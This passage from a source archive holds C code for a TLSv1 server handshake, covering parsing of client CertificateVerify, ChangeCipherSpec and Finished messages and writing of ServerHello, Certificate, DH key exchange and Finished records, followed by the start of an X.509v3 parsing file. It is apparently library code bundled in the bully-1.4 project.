"signature");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
buflen = end - pos;
buf = os_malloc(end - pos);
if (crypto_public_key_decrypt_pkcs1(conn->client_rsa_key,
pos, end - pos, buf, &buflen) < 0)
{
wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt signature");
os_free(buf);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECRYPT_ERROR);
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Decrypted Signature",
buf, buflen);
if (buflen != hlen || os_memcmp(buf, hash, buflen) != 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid Signature in "
"CertificateVerify - did not match with calculated "
"hash");
os_free(buf);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECRYPT_ERROR);
return -1;
}
os_free(buf);
*in_len = end - in_data;
conn->state = CHANGE_CIPHER_SPEC;
return 0;
}
static int tls_process_change_cipher_spec(struct tlsv1_server *conn,
u8 ct, const u8 *in_data,
size_t *in_len)
{
const u8 *pos;
size_t left;
if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 1) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
if (*pos != TLS_CHANGE_CIPHER_SPEC) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; "
"received data 0x%x", *pos);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec");
if (tlsv1_record_change_read_cipher(&conn->rl) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher "
"for record layer");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
*in_len = pos + 1 - in_data;
conn->state = CLIENT_FINISHED;
return 0;
}
static int tls_process_client_finished(struct tlsv1_server *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len, hlen;
u8 verify_data[TLS_VERIFY_DATA_LEN];
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN];
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; "
"received content type 0x%x", ct);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for "
"Finished",
(unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received "
"type 0x%x", pos[0]);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
len = WPA_GET_BE24(pos + 1);
pos += 4;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished "
"(len=%lu > left=%lu)",
(unsigned long) len, (unsigned long) left);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (len != TLS_VERIFY_DATA_LEN) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length "
"in Finished: %lu (expected %d)",
(unsigned long) len, TLS_VERIFY_DATA_LEN);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished",
pos, TLS_VERIFY_DATA_LEN);
hlen = MD5_MAC_LEN;
if (conn->verify.md5_client == NULL ||
crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_client = NULL;
crypto_hash_finish(conn->verify.sha1_client, NULL, NULL);
conn->verify.sha1_client = NULL;
return -1;
}
conn->verify.md5_client = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_client == NULL ||
crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN,
&hlen) < 0) {
conn->verify.sha1_client = NULL;
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_client = NULL;
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN,
verify_data, TLS_VERIFY_DATA_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECRYPT_ERROR);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)",
verify_data, TLS_VERIFY_DATA_LEN);
if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) {
wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data");
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received Finished");
*in_len = end - in_data;
if (conn->use_session_ticket) {
/* Abbreviated handshake using session ticket; RFC 4507 */
wpa_printf(MSG_DEBUG, "TLSv1: Abbreviated handshake completed "
"successfully");
conn->state = ESTABLISHED;
} else {
/* Full handshake */
conn->state = SERVER_CHANGE_CIPHER_SPEC;
}
return 0;
}
int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct,
const u8 *buf, size_t *len)
{
if (ct == TLS_CONTENT_TYPE_ALERT) {
if (*len < 2) {
wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d",
buf[0], buf[1]);
*len = 2;
conn->state = FAILED;
return -1;
}
switch (conn->state) {
case CLIENT_HELLO:
if (tls_process_client_hello(conn, ct, buf, len))
return -1;
break;
case CLIENT_CERTIFICATE:
if (tls_process_certificate(conn, ct, buf, len))
return -1;
break;
case CLIENT_KEY_EXCHANGE:
if (tls_process_client_key_exchange(conn, ct, buf, len))
return -1;
break;
case CERTIFICATE_VERIFY:
if (tls_process_certificate_verify(conn, ct, buf, len))
return -1;
break;
case CHANGE_CIPHER_SPEC:
if (tls_process_change_cipher_spec(conn, ct, buf, len))
return -1;
break;
case CLIENT_FINISHED:
if (tls_process_client_finished(conn, ct, buf, len))
return -1;
break;
default:
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d "
"while processing received message",
conn->state);
return -1;
}
if (ct == TLS_CONTENT_TYPE_HANDSHAKE)
tls_verify_hash_add(&conn->verify, buf, *len);
return 0;
}
bully-1.4-00/src/tls/tlsv1_server_write.c 0000775 0000000 0000000 00000047547 13615304636 0020363 0 ustar 00root root 0000000 0000000 /*
* TLSv1 server - write handshake message
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "x509v3.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_server.h"
#include "tlsv1_server_i.h"
static size_t tls_server_cert_chain_der_len(struct tlsv1_server *conn)
{
size_t len = 0;
struct x509_certificate *cert;
cert = conn->cred->cert;
while (cert) {
len += 3 + cert->cert_len;
if (x509_certificate_self_signed(cert))
break;
cert = x509_certificate_get_subject(conn->cred->trusted_certs,
&cert->issuer);
}
return len;
}
static int tls_write_server_hello(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
struct os_time now;
size_t rlen;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHello");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
os_get_time(&now);
WPA_PUT_BE32(conn->server_random, now.sec);
if (os_get_random(conn->server_random + 4, TLS_RANDOM_LEN - 4)) {
wpa_printf(MSG_ERROR, "TLSv1: Could not generate "
"server_random");
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random",
conn->server_random, TLS_RANDOM_LEN);
conn->session_id_len = TLS_SESSION_ID_MAX_LEN;
if (os_get_random(conn->session_id, conn->session_id_len)) {
wpa_printf(MSG_ERROR, "TLSv1: Could not generate "
"session_id");
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id",
conn->session_id, conn->session_id_len);
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - ServerHello */
/* ProtocolVersion server_version */
WPA_PUT_BE16(pos, TLS_VERSION);
pos += 2;
/* Random random: uint32 gmt_unix_time, opaque random_bytes */
os_memcpy(pos, conn->server_random, TLS_RANDOM_LEN);
pos += TLS_RANDOM_LEN;
/* SessionID session_id */
*pos++ = conn->session_id_len;
os_memcpy(pos, conn->session_id, conn->session_id_len);
pos += conn->session_id_len;
/* CipherSuite cipher_suite */
WPA_PUT_BE16(pos, conn->cipher_suite);
pos += 2;
/* CompressionMethod compression_method */
*pos++ = TLS_COMPRESSION_NULL;
if (conn->session_ticket && conn->session_ticket_cb) {
int res = conn->session_ticket_cb(
conn->session_ticket_cb_ctx,
conn->session_ticket, conn->session_ticket_len,
conn->client_random, conn->server_random,
conn->master_secret);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback "
"indicated failure");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_HANDSHAKE_FAILURE);
return -1;
}
conn->use_session_ticket = res;
if (conn->use_session_ticket) {
if (tlsv1_server_derive_keys(conn, NULL, 0) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to "
"derive keys");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
}
/*
* RFC 4507 specifies that server would include an empty
* SessionTicket extension in ServerHello and a
* NewSessionTicket message after the ServerHello. However,
* EAP-FAST (RFC 4851), i.e., the only user of SessionTicket
* extension at the moment, does not use such extensions.
*
* TODO: Add support for configuring RFC 4507 behavior and make
* EAP-FAST disable it.
*/
}
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
*msgpos = pos;
return 0;
}
static int tls_write_server_certificate(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start;
size_t rlen;
struct x509_certificate *cert;
const struct tls_cipher_suite *suite;
suite = tls_get_cipher_suite(conn->rl.cipher_suite);
if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) {
wpa_printf(MSG_DEBUG, "TLSv1: Do not send Certificate when "
"using anonymous DH");
return 0;
}
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - Certificate */
/* uint24 length (to be filled) */
cert_start = pos;
pos += 3;
cert = conn->cred->cert;
while (cert) {
if (pos + 3 + cert->cert_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space "
"for Certificate (cert_len=%lu left=%lu)",
(unsigned long) cert->cert_len,
(unsigned long) (end - pos));
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
WPA_PUT_BE24(pos, cert->cert_len);
pos += 3;
os_memcpy(pos, cert->cert_start, cert->cert_len);
pos += cert->cert_len;
if (x509_certificate_self_signed(cert))
break;
cert = x509_certificate_get_subject(conn->cred->trusted_certs,
&cert->issuer);
}
if (cert == conn->cred->cert || cert == NULL) {
/*
* Server was not configured with all the needed certificates
* to form a full certificate chain. The client may fail to
* validate the chain unless it is configured with all the
* missing CA certificates.
*/
wpa_printf(MSG_DEBUG, "TLSv1: Full server certificate chain "
"not configured - validation may fail");
}
WPA_PUT_BE24(cert_start, pos - cert_start - 3);
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_server_key_exchange(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
tls_key_exchange keyx;
const struct tls_cipher_suite *suite;
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen;
u8 *dh_ys;
size_t dh_ys_len;
suite = tls_get_cipher_suite(conn->rl.cipher_suite);
if (suite == NULL)
keyx = TLS_KEY_X_NULL;
else
keyx = suite->key_exchange;
if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) {
wpa_printf(MSG_DEBUG, "TLSv1: No ServerKeyExchange needed");
return 0;
}
if (keyx != TLS_KEY_X_DH_anon) {
/* TODO? */
wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not yet "
"supported with key exchange type %d", keyx);
return -1;
}
if (conn->cred == NULL || conn->cred->dh_p == NULL ||
conn->cred->dh_g == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available for "
"ServerKeyExhcange");
return -1;
}
os_free(conn->dh_secret);
conn->dh_secret_len = conn->cred->dh_p_len;
conn->dh_secret = os_malloc(conn->dh_secret_len);
if (conn->dh_secret == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate "
"memory for secret (Diffie-Hellman)");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (os_get_random(conn->dh_secret, conn->dh_secret_len)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random "
"data for Diffie-Hellman");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(conn->dh_secret);
conn->dh_secret = NULL;
return -1;
}
if (os_memcmp(conn->dh_secret, conn->cred->dh_p, conn->dh_secret_len) >
0)
conn->dh_secret[0] = 0; /* make sure secret < p */
pos = conn->dh_secret;
while (pos + 1 < conn->dh_secret + conn->dh_secret_len && *pos == 0)
pos++;
if (pos != conn->dh_secret) {
os_memmove(conn->dh_secret, pos,
conn->dh_secret_len - (pos - conn->dh_secret));
conn->dh_secret_len -= pos - conn->dh_secret;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH server's secret value",
conn->dh_secret, conn->dh_secret_len);
/* Ys = g^secret mod p */
dh_ys_len = conn->cred->dh_p_len;
dh_ys = os_malloc(dh_ys_len);
if (dh_ys == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate memory for "
"Diffie-Hellman");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (crypto_mod_exp(conn->cred->dh_g, conn->cred->dh_g_len,
conn->dh_secret, conn->dh_secret_len,
conn->cred->dh_p, conn->cred->dh_p_len,
dh_ys, &dh_ys_len)) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(dh_ys);
return -1;
}
wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)",
dh_ys, dh_ys_len);
/*
* struct {
* select (KeyExchangeAlgorithm) {
* case diffie_hellman:
* ServerDHParams params;
* Signature signed_params;
* case rsa:
* ServerRSAParams params;
* Signature signed_params;
* };
* } ServerKeyExchange;
*
* struct {
* opaque dh_p<1..2^16-1>;
* opaque dh_g<1..2^16-1>;
* opaque dh_Ys<1..2^16-1>;
* } ServerDHParams;
*/
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ServerKeyExchange");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - ServerDHParams */
/* dh_p */
if (pos + 2 + conn->cred->dh_p_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for "
"dh_p");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(dh_ys);
return -1;
}
WPA_PUT_BE16(pos, conn->cred->dh_p_len);
pos += 2;
os_memcpy(pos, conn->cred->dh_p, conn->cred->dh_p_len);
pos += conn->cred->dh_p_len;
/* dh_g */
if (pos + 2 + conn->cred->dh_g_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for "
"dh_g");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(dh_ys);
return -1;
}
WPA_PUT_BE16(pos, conn->cred->dh_g_len);
pos += 2;
os_memcpy(pos, conn->cred->dh_g, conn->cred->dh_g_len);
pos += conn->cred->dh_g_len;
/* dh_Ys */
if (pos + 2 + dh_ys_len > end) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for "
"dh_Ys");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
os_free(dh_ys);
return -1;
}
WPA_PUT_BE16(pos, dh_ys_len);
pos += 2;
os_memcpy(pos, dh_ys, dh_ys_len);
pos += dh_ys_len;
os_free(dh_ys);
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_server_certificate_request(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen;
if (!conn->verify_peer) {
wpa_printf(MSG_DEBUG, "TLSv1: No CertificateRequest needed");
return 0;
}
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateRequest");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - CertificateRequest */
/*
* enum {
* rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4),
* (255)
* } ClientCertificateType;
* ClientCertificateType certificate_types<1..2^8-1>
*/
*pos++ = 1;
*pos++ = 1; /* rsa_sign */
/*
* opaque DistinguishedName<1..2^16-1>
* DistinguishedName certificate_authorities<3..2^16-1>
*/
/* TODO: add support for listing DNs for trusted CAs */
WPA_PUT_BE16(pos, 0);
pos += 2;
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_server_hello_done(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHelloDone");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* opaque fragment[TLSPlaintext.length] */
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
/* body - ServerHelloDone (empty) */
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
*msgpos = pos;
return 0;
}
static int tls_write_server_change_cipher_spec(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr;
size_t rlen;
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec");
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
*pos = TLS_CHANGE_CIPHER_SPEC;
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC,
rhdr, end - rhdr, 1, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
if (tlsv1_record_change_write_cipher(&conn->rl) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for "
"record layer");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
*msgpos = rhdr + rlen;
return 0;
}
static int tls_write_server_finished(struct tlsv1_server *conn,
u8 **msgpos, u8 *end)
{
u8 *pos, *rhdr, *hs_start, *hs_length;
size_t rlen, hlen;
u8 verify_data[TLS_VERIFY_DATA_LEN];
u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN];
pos = *msgpos;
wpa_printf(MSG_DEBUG, "TLSv1: Send Finished");
/* Encrypted Handshake Message: Finished */
hlen = MD5_MAC_LEN;
if (conn->verify.md5_server == NULL ||
crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) {
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
conn->verify.md5_server = NULL;
crypto_hash_finish(conn->verify.sha1_server, NULL, NULL);
conn->verify.sha1_server = NULL;
return -1;
}
conn->verify.md5_server = NULL;
hlen = SHA1_MAC_LEN;
if (conn->verify.sha1_server == NULL ||
crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN,
&hlen) < 0) {
conn->verify.sha1_server = NULL;
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->verify.sha1_server = NULL;
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN,
verify_data, TLS_VERIFY_DATA_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)",
verify_data, TLS_VERIFY_DATA_LEN);
rhdr = pos;
pos += TLS_RECORD_HEADER_LEN;
/* Handshake */
hs_start = pos;
/* HandshakeType msg_type */
*pos++ = TLS_HANDSHAKE_TYPE_FINISHED;
/* uint24 length (to be filled) */
hs_length = pos;
pos += 3;
os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN);
pos += TLS_VERIFY_DATA_LEN;
WPA_PUT_BE24(hs_length, pos - hs_length - 3);
tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE,
rhdr, end - rhdr, pos - hs_start, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos = rhdr + rlen;
*msgpos = pos;
return 0;
}
static u8 * tls_send_server_hello(struct tlsv1_server *conn, size_t *out_len)
{
u8 *msg, *end, *pos;
size_t msglen;
*out_len = 0;
msglen = 1000 + tls_server_cert_chain_der_len(conn);
msg = os_malloc(msglen);
if (msg == NULL)
return NULL;
pos = msg;
end = msg + msglen;
if (tls_write_server_hello(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
if (conn->use_session_ticket) {
/* Abbreviated handshake using session ticket; RFC 4507 */
if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 ||
tls_write_server_finished(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
*out_len = pos - msg;
conn->state = CHANGE_CIPHER_SPEC;
return msg;
}
/* Full handshake */
if (tls_write_server_certificate(conn, &pos, end) < 0 ||
tls_write_server_key_exchange(conn, &pos, end) < 0 ||
tls_write_server_certificate_request(conn, &pos, end) < 0 ||
tls_write_server_hello_done(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
*out_len = pos - msg;
conn->state = CLIENT_CERTIFICATE;
return msg;
}
static u8 * tls_send_change_cipher_spec(struct tlsv1_server *conn,
size_t *out_len)
{
u8 *msg, *end, *pos;
*out_len = 0;
msg = os_malloc(1000);
if (msg == NULL)
return NULL;
pos = msg;
end = msg + 1000;
if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 ||
tls_write_server_finished(conn, &pos, end) < 0) {
os_free(msg);
return NULL;
}
*out_len = pos - msg;
wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed successfully");
conn->state = ESTABLISHED;
return msg;
}
u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len)
{
switch (conn->state) {
case SERVER_HELLO:
return tls_send_server_hello(conn, out_len);
case SERVER_CHANGE_CIPHER_SPEC:
return tls_send_change_cipher_spec(conn, out_len);
default:
if (conn->state == ESTABLISHED && conn->use_session_ticket) {
/* Abbreviated handshake was already completed. */
return NULL;
}
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while "
"generating reply", conn->state);
return NULL;
}
}
u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level,
u8 description, size_t *out_len)
{
u8 *alert, *pos, *length;
wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description);
*out_len = 0;
alert = os_malloc(10);
if (alert == NULL)
return NULL;
pos = alert;
/* TLSPlaintext */
/* ContentType type */
*pos++ = TLS_CONTENT_TYPE_ALERT;
/* ProtocolVersion version */
WPA_PUT_BE16(pos, TLS_VERSION);
pos += 2;
/* uint16 length (to be filled) */
length = pos;
pos += 2;
/* opaque fragment[TLSPlaintext.length] */
/* Alert */
/* AlertLevel level */
*pos++ = level;
/* AlertDescription description */
*pos++ = description;
WPA_PUT_BE16(length, pos - length - 2);
*out_len = pos - alert;
return alert;
}
bully-1.4-00/src/tls/x509v3.c 0000775 0000000 0000000 00000141015 13615304636 0015451 0 ustar 00root root 0000000 0000000 /*
* X.509v3 certificate parsing and processing (RFC 3280 profile)
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
